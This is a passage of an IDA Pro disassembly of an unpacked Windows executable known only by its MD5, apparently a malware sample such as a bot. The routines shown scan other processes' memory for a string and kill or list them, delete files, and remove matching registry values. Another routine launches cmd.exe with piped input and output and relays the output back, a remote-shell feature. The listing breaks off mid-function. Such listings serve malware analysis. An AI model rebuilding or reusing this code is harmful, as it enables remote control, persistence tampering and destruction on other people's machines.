; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 505750B6E65D5878E825A1B7136F3383 ; File Name : u:\work\505750b6e65d5878e825a1b7136f3383_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00021000 ( 135168.) ; Section size in file : 00021000 ( 135168.) ; Offset to raw data for section: 00001000 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: .data:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DE24, 0FFFFFFFFh jz short loc_40186E push dword_41DE24 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DE18, 0FFFFFFFFh jz short loc_401883 push dword_41DE18 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DE1C, 0FFFFFFFFh jz short loc_401898 push dword_41DE1C call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DE20, 0FFFFFFFFh jz short loc_4018AD push dword_41DE20 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DE2C, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DE2C, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DE20 call dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE30 lea eax, [ebp+var_30C] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DE24, eax mov eax, [ebp+var_36C] mov dword_41DE18, eax mov eax, [ebp+var_724] mov dword_41DE1C, eax push [ebp+var_720] call dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DE24 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DE1C call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DE24 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DE20 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; 